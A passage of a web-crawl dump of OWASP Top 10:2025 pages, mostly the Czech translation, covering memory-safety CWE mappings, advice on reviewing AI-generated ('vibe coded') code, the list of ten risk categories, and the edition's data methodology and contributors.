resources](https://github.com/secfigo/Awesome-Fuzzing)\n- [Project Zero Blog](https://googleprojectzero.blogspot.com)\n- [Microsoft MSRC Blog](https://www.microsoft.com/en-us/msrc/blog)\n\n### List of Mapped CWEs\n\n- [CWE-14 Compiler Removal of Code to Clear Buffers](https://cwe.mitre.org/data/definitions/14.html)\n- [CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer](https://cwe.mitre.org/data/definitions/119.html)\n- [CWE-120 Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')](https://cwe.mitre.org/data/definitions/120.html)\n- [CWE-121 Stack-based Buffer Overflow](https://cwe.mitre.org/data/definitions/121.html)\n- [CWE-122 Heap-based Buffer Overflow](https://cwe.mitre.org/data/definitions/122.html)\n- [CWE-124 Buffer Underwrite ('Buffer Underflow')](https://cwe.mitre.org/data/definitions/124.html)\n- [CWE-125 Out-of-bounds Read](https://cwe.mitre.org/data/definitions/125.html)\n- [CWE-126 Buffer Over-read](https://cwe.mitre.org/data/definitions/126.html)\n- [CWE-190 Integer Overflow or Wraparound](https://cwe.mitre.org/data/definitions/190.html)\n- [CWE-191 Integer Underflow (Wrap or Wraparound)](https://cwe.mitre.org/data/definitions/191.html)\n- [CWE-196 Unsigned to Signed Conversion Error](https://cwe.mitre.org/data/definitions/196.html)\n- [CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-415 Double Free](https://cwe.mitre.org/data/definitions/415.html)\n- [CWE-416 Use After Free](https://cwe.mitre.org/data/definitions/416.html)\n- [CWE-457 Use of Uninitialized Variable](https://cwe.mitre.org/data/definitions/457.html)\n- [CWE-459 Incomplete Cleanup](https://cwe.mitre.org/data/definitions/459.html)\n- [CWE-467 Use of sizeof() on a Pointer Type](https://cwe.mitre.org/data/definitions/467.html)\n- [CWE-787 Out-of-bounds Write](https://cwe.mitre.org/data/definitions/787.html)\n- [CWE-788 Access of Memory Location After End of Buffer](https://cwe.mitre.org/data/definitions/788.html)\n- [CWE-824 Access of Uninitialized Pointer](https://cwe.mitre.org/data/definitions/824.html)\n\n## X03:2025 Inappropriate Trust in AI Generated Code ('Vibe Coding')\n\n### Background.\n\nCurrently the entire world is talking about and using AI, and this includes software developers. Although there are currently no CVEs or CWEs related to AI generated code, it is well known and documented that AI generated code often contains more vulnerabilities than code written by human beings.\n\n### Description.\n\nWe are seeing software development practices change to include not only code written with the assistance of AI, but code written and committed almost entirely without human oversight (often referred to as vibe coding). Just as it was never a good idea to copy code snippets from blogs or websites without thinking twice, the problem is exacerbated in this case. Good, secure code snippets were and are rare and might be statistically neglected by AI due to system constraints.\n\n### How to prevent.\n\nWe urge all people who write code to consider the following when using AI:\n\n- You should be able to read and fully understand all code you submit, even if it is written by an AI or copied from an online forum. You are responsible for all code that you commit.\n- You should review all AI-assisted code thoroughly for vulnerabilities, ideally with your own eyes and also with security tooling made for this purpose (such as static analysis). Consider using classic code review techniques as described in [OWASP Cheat Sheet Series: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html) .\n- Ideally, write your own code, let the AI suggest improvements, check the AI's code, and let the AI make corrections until you are satisfied with the result.\n- Consider using a Retrieval Augmented Generation (RAG) server with your own collected and reviewed secure code samples and documentation, such as your organization’s security coding guideline, standard, or policy, and have the RAG server enforce any policies or standards.\n- Consider purchasing tooling that implements guardrails for privacy and security for use with your AI(s) of choice.\n- Consider purchasing a private AI, ideally with a contract agreement (including a privacy agreement) that the AI is not to be trained on your organization’s data, queries, code or any other sensitive information.\n- Consider implementing an Model Context Protocol (MCP) server in-between your IDE and AI, then set it up to enforce the use of your security tooling of choice.\n- Implement policies and processes as part of your SDLC to inform developers (and all employees) of how they should and should not use AI within your organization.\n- Create a list of good and effective prompts, that take IT security best practices into account. Ideally they should also consider your internal secure coding guidelines. Developers can use this prompts as a starting point for their programs.\n- AI is likely to become part of each phase of your system development life cycle, both how to use it effectively and safely. Use it wisely.\n- Actually it is **not** recommended to use vibe coding for complex functions, business critical programs, or programs that are used for a long time.\n- Implement technical checks and safeguards against the use of Shadow AI.\n- Train your developers on your policies, as well as safe AI usage and best practices for using AI in software development.\n\n### References.\n\n- [OWASP Cheat Sheet: Secure Code Review](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html)\n\n### List of Mapped CWEs\n\n-none-", "znaku_textu": 21615, "slov": 2717, "odkazu": 125, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:43", "sha256": "d5fba233b6304558cf1899127eb6ab4835505e052476b8156430ec31052eee71", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html", "https://mas.owasp.org/MASVS/11-MASVS-RESILIENCE/", "https://learn.microsoft.com/en-us/aspnet/core/fundamentals/best-practices?view=aspnetcore-9.0", "https://medium.com/@parserdigital/resilience-in-microservices-bulkhead-vs-circuit-breaker-54364c1f9d53", "https://www.geeksforgeeks.org/system-design/bulkhead-pattern/", "https://www.nist.gov/cyberframework", "https://www.devlane.com/blog/avoid-blocking-calls-go-async-in-java", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "https://en.wikipedia.org/wiki/Buffer_overflow_protection", "https://www.geeksforgeeks.org/ethical-hacking/what-is-browser-sandboxing/", "https://github.com/secfigo/Awesome-Fuzzing", "https://googleprojectzero.blogspot.com/", "https://www.microsoft.com/en-us/msrc/blog", "https://cwe.mitre.org/data/definitions/14.html", "https://cwe.mitre.org/data/definitions/119.html", "https://cwe.mitre.org/data/definitions/120.html", "https://cwe.mitre.org/data/definitions/121.html", "https://cwe.mitre.org/data/definitions/122.html", "https://cwe.mitre.org/data/definitions/124.html", "https://cwe.mitre.org/data/definitions/125.html", "https://cwe.mitre.org/data/definitions/126.html", "https://cwe.mitre.org/data/definitions/190.html", "https://cwe.mitre.org/data/definitions/191.html", "https://cwe.mitre.org/data/definitions/196.html", "https://cwe.mitre.org/data/definitions/367.html", "https://cwe.mitre.org/data/definitions/415.html", "https://cwe.mitre.org/data/definitions/416.html", "https://cwe.mitre.org/data/definitions/457.html", "https://cwe.mitre.org/data/definitions/459.html", "https://cwe.mitre.org/data/definitions/467.html", "https://cwe.mitre.org/data/definitions/787.html", "https://cwe.mitre.org/data/definitions/788.html", "https://cwe.mitre.org/data/definitions/824.html", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Code_Review_Cheat_Sheet.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/", "titulek": "Domů - OWASP Top 10:2025", "h1": "OWASP Top 10:2025", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "OWASP Top 10:2025"}, {"uroven": 2, "text": "O tomto vydání"}, {"uroven": 2, "text": "Main Project Page"}, {"uroven": 2, "text": "Začínáme"}, {"uroven": 2, "text": "Navigace"}, {"uroven": 3, "text": "Top 10:2025 List"}], "markdown": "# OWASP Top 10:2025\n\nVítejte u vydání OWASP Top 10:2025.\n\nOWASP Top 10 je referenční dokument pro zvyšování povědomí určený vývojářům a odborníkům na bezpečnost webových aplikací. Představuje široce sdílený konsenzus o nejkritičtějších bezpečnostních rizicích webových aplikací.\n\n## O tomto vydání\n\nToto je verze OWASP Top 10 pro rok 2025. Obsahuje aktualizace vycházející z nejnovějších dat a bezpečnostních trendů.\n\n## Main Project Page\n\n[Hlavní stránka projektu](https://github.com/OWASP/www-project-top-ten) obsahuje informace o starších verzích a metadata o tomto projektu.\n\n## Začínáme\n\nZačněte [Úvodem](0x00_2025-Introduction/) kde se dozvíte, co je ve verzi 2025 nového.\n\n## Navigace\n\n- [Úvod](0x00_2025-Introduction/)\n- [O OWASP](0x01_2025-About_OWASP/)\n- [Co jsou bezpečnostní rizika aplikací??](0x02_2025-What_are_Application_Security_Risks/)\n- [Zavedení moderního programu bezpečnosti aplikací](0x03_2025-Establishing_a_Modern_Application_Security_Program/)\n\n### Top 10:2025 List\n\n1. [A01:2025 - Narušené řízení přístupu (Broken Access Control)](A01_2025-Broken_Access_Control/)\n2. [A02:2025 - Chybná bezpečnostní konfigurace (Security Misconfiguration)](A02_2025-Security_Misconfiguration/)\n3. [A03:2025 - Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures)](A03_2025-Software_Supply_Chain_Failures/)\n4. [A04:2025 - Kryptografická selhání (Cryptographic Failures)](A04_2025-Cryptographic_Failures/)\n5. [A05:2025 - Injekce (Injection)](A05_2025-Injection/)\n6. [A06:2025 - Nezabezpečený návrh (Insecure Design)](A06_2025-Insecure_Design/)\n7. [A07:2025 - Selhání autentizace (Authentication Failures)](A07_2025-Authentication_Failures/)\n8. [A08:2025 - Selhání integrity softwaru nebo dat (Software or Data Integrity Failures)](A08_2025-Software_or_Data_Integrity_Failures/)\n9. [A09:2025 - Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures)](A09_2025-Security_Logging_and_Alerting_Failures/)\n10. [A10:2025 - Nesprávné zpracování výjimečných stavů (Mishandling of Exceptional Conditions)](A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n---\n\n**Poznámka:** Překlady budou doplňovány, jakmile budou k dispozici.", "znaku_textu": 2119, "slov": 209, "odkazu": 34, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-13 21:17:20", "sha256": "afdc413b7d10de4686e55ecec88132fb32b330974752412c5cd756bb3bad7534", "hloubka": 1, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://github.com/OWASP/www-project-top-ten", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/0x00_2025-Introduction/", "titulek": "Úvod - OWASP Top 10:2025", "h1": "Deset nejkritičtějších bezpečnostních rizik webových aplikací", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/0x00_2025-Introduction/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Deset nejkritičtějších bezpečnostních rizik webových aplikací"}, {"uroven": 1, "text": "Úvod"}, {"uroven": 2, "text": "Představujeme OWASP Top 10:2025"}, {"uroven": 2, "text": "Co se změnilo v OWASP Top 10 pro rok 2025"}, {"uroven": 2, "text": "Metodika"}, {"uroven": 2, "text": "Jak jsou kategorie strukturovány"}, {"uroven": 2, "text": "Využití dat při výběru kategorií"}, {"uroven": 2, "text": "Proč používáme komunitní průzkum"}, {"uroven": 2, "text": "Poděkování přispěvatelům dat"}, {"uroven": 2, "text": "Hlavní autoři"}, {"uroven": 2, "text": "Hlášení chyb a pull requestů"}, {"uroven": 3, "text": "Odkazy na projekt:"}], "markdown": "# Deset nejkritičtějších bezpečnostních rizik webových aplikací\n\n# Úvod\n\nVítejte u osmého vydání OWASP Top 10!\n\nVelké poděkování patří všem, kteří do průzkumu přispěli daty a svými pohledy. Bez vás by toto vydání nebylo možné. **DĚKUJEME!**\n\n## Představujeme OWASP Top 10:2025\n\n- [A01:2025 - Nedostatky v řízení přístupu (Broken Access Control)](../A01_2025-Broken_Access_Control/)\n- [A02:2025 - Chybná bezpečnostní konfigurace (Security Misconfiguration)](../A02_2025-Security_Misconfiguration/)\n- [A03:2025 - Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures)](../A03_2025-Software_Supply_Chain_Failures/)\n- [A04:2025 - Kryptografická selhání (Cryptographic Failures)](../A04_2025-Cryptographic_Failures/)\n- [A05:2025 - Injekce (Injection)](../A05_2025-Injection/)\n- [A06:2025 - Nezabezpečený návrh (Insecure Design)](../A06_2025-Insecure_Design/)\n- [A07:2025 - Selhání autentizace (Authentication Failures)](../A07_2025-Authentication_Failures/)\n- [A08:2025 - Selhání integrity softwaru nebo dat (Software or Data Integrity Failures)](../A08_2025-Software_or_Data_Integrity_Failures/)\n- [A09:2025 - Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures)](../A09_2025-Security_Logging_and_Alerting_Failures/)\n- [A10:2025 - Nesprávné zpracování výjimečných stavů (Mishandling of Exceptional Conditions)](../A10_2025-Mishandling_of_Exceptional_Conditions/)\n\n## Co se změnilo v OWASP Top 10 pro rok 2025\n\nkdykol\nV OWASP Top 10 pro rok 2025 jsou dvě nové kategorie a jedna konsolidace. Snažili jsme se co nejvíce zachovat zaměření na základní příčiny (root cause) problémů, nikoli na jejich symptomy. Vzhledem ke složitosti softwarového inženýrství a bezpečnosti softwaru je v podstatě nemožné vytvořit deset kategorií bez určité míry překryvu.\n\n- **[A01:2025 - Nedostatky v řízení přístupu (Broken Access Control)](../A01_2025-Broken_Access_Control/)** zůstává na 1. místě jako nejzávažnější bezpečnostní riziko aplikací; poskytnutá data ukazují, že v průměru 3,73 % testovaných aplikací mělo jednu nebo více z 40 CWE v této kategorii. Jak je naznačeno přerušovanou čarou na výše uvedeném obrázku, Server-Side Request Forgery (SSRF) bylo do této kategorie zařazeno.\n- **[A02:2025 - Chybná bezpečnostní konfigurace (Security Misconfiguration)](../A02_2025-Security_Misconfiguration/)** se posunula z 5. místa v roce 2021 na 2. místo v roce 2025. Chybné konfigurace jsou v datech tohoto cyklu zastoupeny ve větší míře. 3,00 % testovaných aplikací mělo jednu nebo více z 16 CWE v této kategorii. To souvisí s tím, že chování aplikací je ve stále větší míře řízeno konfigurací.\n- **[A03:2025 - Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures)](../A03_2025-Software_Supply_Chain_Failures/)** představuje rozšíření položky [A06:2021 – Zranitelné a zastaralé komponenty (Vulnerable and Outdated Components)](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) a zahrnuje širší rozsah kompromitací, ke kterým dochází v rámci nebo napříč ekosystémem softwarových závislostí, sestavovacích (build) systémů a distribuční infrastruktury. Tato kategorie byla v komunitním průzkumu jednoznačně odhlasována jako jedna z hlavních obav. Tato kategorie má 5 CWE a má omezené zastoupení v nasbíraných datech, ale domníváme se, že je to způsobeno obtížemi při testování, a doufáme, že testování v této oblasti dožene stav poznání. Tato kategorie má nejmenší počet výskytů v datech, ale zároveň nejvyšší průměrné skóre zneužitelnosti a dopadu podle CVE.\n- **[A04:2025 - Kryptografická selhání (Cryptographic Failures)](../A04_2025-Cryptographic_Failures/)** klesla v pořadí o dvě pozice z 2. místa na 4. místo. Poskytnutá data ukazují, že v průměru 3,80 % aplikací mělo jednu nebo více z 32 CWE v této kategorii. Tato kategorie často vede k úniku citlivých dat nebo ke kompromitaci systému.\n- **[A05:2025 - Injekce (Injection)](../A05_2025-Injection/)** klesla o dvě pozice z 3. místa na 5. místo a zachovala si své relativní postavení vůči položkám Kryptografická selhání a Nezabezpečený návrh. Injekce patří mezi nejčastěji testované kategorie a je s nimi spojeno největší množství CVE, vztahujících se k 38 CWE v této kategorii. Zahrnují problémy od Cross-site Scripting (vysoká četnost / nízký dopad) po SQL Injection (nízká četnost / vysoký dopad).\n- **[A06:2025 - Nezabezpečený návrh (Insecure Design)](../A06_2025-Insecure_Design/)** klesl v pořadí o dvě pozice z 4. místa na 6. místo, protože jej předstihly položky Chybná bezpečnostní konfigurace a Selhání dodavatelského řetězce softwaru. Tato kategorie byla zavedena v roce 2021 a v oboru byla zaznamenána znatelná zlepšení v oblasti modelování hrozeb a větší důraz na bezpečný návrh.\n- **[A07:2025 - Selhání autentizace (Authentication Failures)](../A07_2025-Authentication_Failures/)** si udržuje 7. místo s mírnou změnou názvu (dříve „Identification and Authentication Failures“), aby přesněji odpovídal 36 CWE zahrnutým v této kategorii. Tato kategorie zůstává významná, avšak zvýšené používání standardizovaných frameworků pro autentizaci se projevuje pozitivním dopadem na výskyt selhání autentizace.\n- **[A08:2025 - Selhání integrity softwaru nebo dat (Software or Data Integrity Failures)](../A08_2025-Software_or_Data_Integrity_Failures/)** zůstává na 8. místě v seznamu. Tato kategorie se zaměřuje na selhání při zachování hranic důvěry a ověřování integrity softwaru, kódu a datových artefaktů, a to na nižší úrovni než Selhání dodavatelského řetězce softwaru.\n- **[A09:2025 - Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures)](../A09_2025-Security_Logging_and_Alerting_Failures/)** si zachovává 9. místo. Tato kategorie má mírně upravený název (dříve „Security Logging and Monitoring Failures“), aby byl zdůrazněn význam funkce upozorňování (alertingu) potřebné k vyvolání odpovídající reakce na relevantní logovací události. Kvalitní logování bez upozorňování má jen omezenou hodnotu při identifikaci bezpečnostních incidentů. Tato kategorie je v datech trvale podreprezentována a její zařazení do seznamu bylo opět potvrzeno hlasováním účastníků komunitního průzkumu.\n- **[A10:2025 - Nesprávné zpracování výjimečných stavů (Mishandling of Exceptional Conditions)](../A10_2025-Mishandling_of_Exceptional_Conditions/)** je nová kategorie pro 2025. Tato kategorie obsahuje 24 CWE a zaměřuje se na nesprávné zpracování chyb, logické chyby, selhání do otevřeného stavu (failing open) a další související scénáře vyplývající z abnormálních stavů, se kterými se systémy mohou setkat.\n\n## Metodika\n\nToto vydání OWASP Top 10 je podložené daty, nikoli však bezvýhradně řízené daty. Seřadili jsme 12 kategorií na základě poskytnutých dat a dvě z nich jsme povýšili nebo zvýraznili na základě odpovědí z komunitního průzkumu. K tomuto postupu existuje základní důvod: analýza poskytnutých dat je v podstatě pohledem do minulosti. Výzkumníci v oblasti bezpečnosti aplikací věnují čas identifikaci nových zranitelností a vývoji nových testovacích metod. Začlenění těchto testů do nástrojů a procesů trvá týdny až roky. V době, kdy je možné určitou slabinu spolehlivě testovat ve velkém měřítku, již mohou uplynout roky. Existují také významná rizika, která nemusí být nikdy možné spolehlivě testovat, a proto se v datech nemusí objevit. Pro vyvážení tohoto pohledu se využívá komunitní průzkum. V něm jsou odborníci na bezpečnost aplikací a vývojáři dotazováni na rizika, která považují za zásadní, přestože mohou být v testovacích datech nedostatečně zastoupena.\n\n## Jak jsou kategorie strukturovány\n\nNěkteré kategorie se oproti předchozímu vydání OWASP Top 10 změnily. Níže je uveden stručný přehled změn.\n\nV tomto vydání jsme si vyžádali data bez omezení na konkrétní CWEs, jak tomu bylo v edici 2021. Požadovali jsme počet aplikací testovaných v daném roce (počínaje rokem 2021) a počet aplikací, u nichž byla při testování nalezena alespoň jedna instance daného CWE. Tento formát nám umožňuje sledovat, jak rozšířené jsou jednotlivé CWEs v populaci aplikací. Frekvenci pro naše účely ignorujeme; ačkoli může být v jiných situacích užitečná, v tomto kontextu pouze zakrývá skutečnou míru výskytu v populaci aplikací. Zda má aplikace čtyři instance určitého CWE, nebo 4 000 instancí, není součástí výpočtu pro Top 10. To je obzvláště důležité vzhledem k tomu, že manuální testeři mají tendenci uvádět zranitelnost pouze jednou bez ohledu na to, kolikrát se v aplikaci opakuje, zatímco automatizované testovací frameworky evidují každou instanci zranitelnosti jako samostatnou. Posunuli jsme se z přibližně 30 CWE v roce 2017, přes téměř 400 CWE v roce 2021, až na 589 CWE analyzovaných v tomto vydání datového souboru. Do budoucna plánujeme provést další datové analýzy jako doplněk. Tento výrazný nárůst počtu CWE si vyžádal změny ve způsobu strukturování kategorií.\n\nStrávili jsme několik měsíců seskupováním a kategorizací CWE a mohli bychom v tom pokračovat i další měsíce. V určitém bodě jsme však museli proces ukončit. Existují CWE, které reprezentují základní příčiny (root cause), a CWE, které popisují symptomy. Příklady CWE typu základní příčina jsou „Kryptografická selhání (Cryptographic Failures)“ nebo „Chybná konfigurace (Misconfiguration)“, zatímco příklady symptomatických CWE jsou „Expozice citlivých dat (Sensitive Data Exposure)“ nebo „Odmítnutí služby (Denial of Service)“. Rozhodli jsme se, kdykoli to bylo možné, zaměřit se na základní příčinu, protože je to logičtější z hlediska identifikace problému a návrhu nápravných opatření. Zaměření na základní příčinu namísto zaměření se na symptom není nový koncept; OWASP Top 10 vždy obsahoval kombinaci symptomů a základních příčin. Stejně tak samotné CWE představují kombinaci obou přístupů; v tomto vydání jsme pouze důslednější v jejich explicitním rozlišení. Průměrně připadá v tomto vydání přibližně 25 CWE na jednu kategorii, přičemž spodní hranice je 5 CWE u kategorií A03:2025 – Selhání dodavatelského řetězce softwaru (Software Supply Chain Failures) a A09:2025 – Selhání bezpečnostního logování a upozorňování (Security Logging & Alerting Failures), a horní hranice je 40 CWE u kategorie A01:2025 – Nedostatky v řízení přístupu (Broken Access Control). Rozhodli jsme se stanovit horní limit počtu CWE v jedné kategorii na 40. Tato aktualizovaná struktura kategorií přináší další přínosy v oblasti školení, protože organizace se mohou zaměřit na CWE, které dávají smysl pro konkrétní programovací jazyk nebo framework.\n\nByli jsme dotázáni, proč jsme nepřešli na seznam 10 konkrétních CWE jako Top 10, podobně jako MITRE Top 25 Most Dangerous Software Weaknesses. Existují dva hlavní důvody, proč používáme v kategoriích více CWE. Zaprvé, ne všechny CWE existují ve všech programovacích jazycích nebo frameworcích. To způsobuje problémy u nástrojů a vzdělávacích či osvětových programů, protože část Top 10 by nemusela být použitelná. Druhým důvodem je skutečnost, že pro běžné typy zranitelností existuje více CWE. Například pro obecnou Injection, Command Injection, Cross-site Scripting, hardcoded passwords, nedostatečnou validaci, buffer overflow, ukládání citlivých informací v čitelné podobě a mnoho dalších existuje více samostatných CWE. V závislosti na organizaci nebo testerovi mohou být používány různé CWE. Použitím kategorií obsahujících více CWE pomáháme zvyšovat základní úroveň povědomí o různých typech slabin, které se mohou vyskytovat pod jedním společným názvem kategorie. V tomto vydání OWASP Top 10 2025 je v deseti kategoriích celkem 248 CWE. V době vydání tohoto dokumentu obsahoval [ke stažení dostupný slovník CWE od MITRE](https://cwe.mitre.org) celkem 968 CWE.\n\n## Využití dat při výběru kategorií\n\nPodobně jako ve vydání z roku 2021 jsme využili data CVE pro hodnocení *zneužitelnosti (Exploitability)* a *(technického) dopadu (Impact)*. Stáhli jsme OWASP Dependency Check a extrahovali skóre CVSS pro zneužitelnost a dopad, které jsme seskupili podle příslušných CWE uvedených u CVE. Tento proces vyžadoval značné množství výzkumu a úsilí, protože všechny CVE obsahují skóre CVSSv2, avšak CVSSv2 má nedostatky, které má řešit CVSSv3. Od určitého okamžiku jsou všem CVE přiřazována také skóre CVSSv3. Kromě toho byly mezi CVSSv2 a CVSSv3 upraveny rozsahy skórování i výpočetní vzorce.\n\nV CVSSv2 mohly hodnoty Exploit i (Technical) Impact dosahovat až 10,0, avšak vzorec je následně snižoval na 60 % pro zneužitelnost a 40 % pro dopad. V CVSSv3 je teoretické maximum omezeno na 6,0 pro zneužitelnost a 4,0 pro dopad. Po započtění vah se hodnocení dopadu v CVSSv3 posunulo výše, v průměru téměř o jeden a půl bodu, zatímco zneužitelnost se v průměru posunula téměř o půl bodu níže.\n\nV National Vulnerability Database (NVD) se nachází přibližně 175 000 záznamů CVE mapovaných na CWE (nárůst ze 125 000 v roce 2021), extrahovaných z OWASP Dependency Check. Dále je zde 643 jedinečných CWE mapovaných na CVE (nárůst z 241 v roce 2021). Z téměř 220 000 extrahovaných CVE mělo 160 000 skóre CVSS v2, 156 000 skóre CVSS v3 a 6 000 skóre CVSS v4. Mnoho CVE má více skóre, což vysvětluje, proč celkový součet přesahuje 220 000.\n\nPro Top 10 2025 jsme průměrná skóre zneužitelnosti a dopadu vypočítali následujícím způsobem. Všechny CVE se skóre CVSS jsme seskupili podle CWE a skóre zneužitelnosti i dopadu jsme vážili podle procentuálního zastoupení záznamů s CVSSv3 a zbývajících záznamů s CVSSv2, abychom získali celkový průměr. Tyto průměry jsme následně přiřadili k CWE v datové sadě a použili je jako skóre zneužitelnosti a (technického) dopadu pro druhou polovinu rovnice rizika.\n\nProč nebylo použito CVSS v4.0? Důvodem je, že skórovací algoritmus byl zásadně změněn a již neposkytuje skóre zneužitelnosti nebo dopadu tak přímo, jako je tomu u CVSSv2 a CVSSv3. V budoucích vydáních Top 10 se pokusíme nalézt způsob, jak výsledky podle CVSS v4.0 využít, avšak pro vydání 2025 se nepodařilo nalézt časově proveditelné řešení.\n\n## Proč používáme komunitní průzkum\n\nVýsledky v datech jsou z velké části omezeny na to, co je možné v oboru testovat automatizovaným způsobem. Zkušený odborník na AppSec vám řekne o věcech, na které při práci naráží, a o trendech, které pozoruje, ale které se v datech zatím neobjevují. Vývoj testovacích metodik pro určité typy zranitelností vyžaduje čas a další čas je potřeba k automatizaci těchto testů a jejich spuštění nad velkou populací aplikací. Vše, co v datech nacházíme, se vztahuje k minulosti a může opomíjet trendy z posledního roku, které v datech nejsou obsaženy.\n\nZ tohoto důvodu vybíráme pouze osm z deseti kategorií na základě dat, protože data nejsou úplná. Zbývající dvě kategorie pocházejí z komunitního průzkumu Top 10. Ten umožňuje praktikům hlasovat pro rizika, která považují za nejvyšší a která v datech nemusí být obsažena (a nemusejí se v nich objevit nikdy).\n\n## Poděkování přispěvatelům dat\n\nNásledující organizace (spolu s několika anonymními dárci) poskytly data o více než 2,8 milionu aplikací a přispěly tak ke vzniku největšího a nejkomplexnějšího souboru dat v oblasti bezpečnosti aplikací. Bez vás by to nebylo možné.\n\n- Accenture (Prague)\n- Anonymous (multiple)\n- Bugcrowd\n- Contrast Security\n- CryptoNet Labs\n- Intuitor SoftTech Services\n- Orca Security\n- Probely\n- Semgrep\n- Sonar\n- usd AG\n- Veracode\n- Wallarm\n\n## Hlavní autoři\n\n- Andrew van der Stock - X: [@vanderaj](https://x.com/vanderaj)\n- Brian Glas - X: [@infosecdad](https://x.com/infosecdad)\n- Neil Smithline - X: [@appsecneil](https://x.com/appsecneil)\n- Tanya Janca - X: [@shehackspurple](https://x.com/shehackspurple)\n- Torsten Gigler - Mastodon: [@[email protected]](https://infosec.exchange/@torsten_gigler)\n\n## Hlášení chyb a pull requestů\n\nProsíme, nahlaste veškeré opravy nebo problémy:\n\n### Odkazy na projekt:\n\n- [Domovská stránka](https://owasp.org/www-project-top-ten/)\n- [GitHub repozitář](https://github.com/OWASP/Top10)", "znaku_textu": 15645, "slov": 2141, "odkazu": 36, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:08:30", "sha256": "da68651499b9804788e9580f80f71035adc40d8b1de135442e661435da3fcdbb", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://cwe.mitre.org/", "https://x.com/vanderaj", "https://x.com/infosecdad", "https://x.com/appsecneil", "https://x.com/shehackspurple", "https://infosec.exchange/@torsten_gigler", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/cs/0x01_2025-About_OWASP/", "titulek": "O OWASP - OWASP Top 10:2025", "h1": "O OWASP", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/cs/0x01_2025-About_OWASP/", "jazyk": "cs", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "O OWASP"}, {"uroven": 2, "text": "Autorská práva a licence"}], "markdown": "# O OWASP\n\nOpen Worldwide Application Security Project (OWASP) je otevřená komunita, která se věnuje tomu, aby organizace mohly vyvíjet, nakupovat a udržovat aplikace a API, kterým lze důvěřovat.\n\nV rámci OWASP naleznete bezplatné a otevřené:\n\n- Nástroje a standardy pro bezpečnost aplikací\n- Špičkový výzkum\n- Standardní 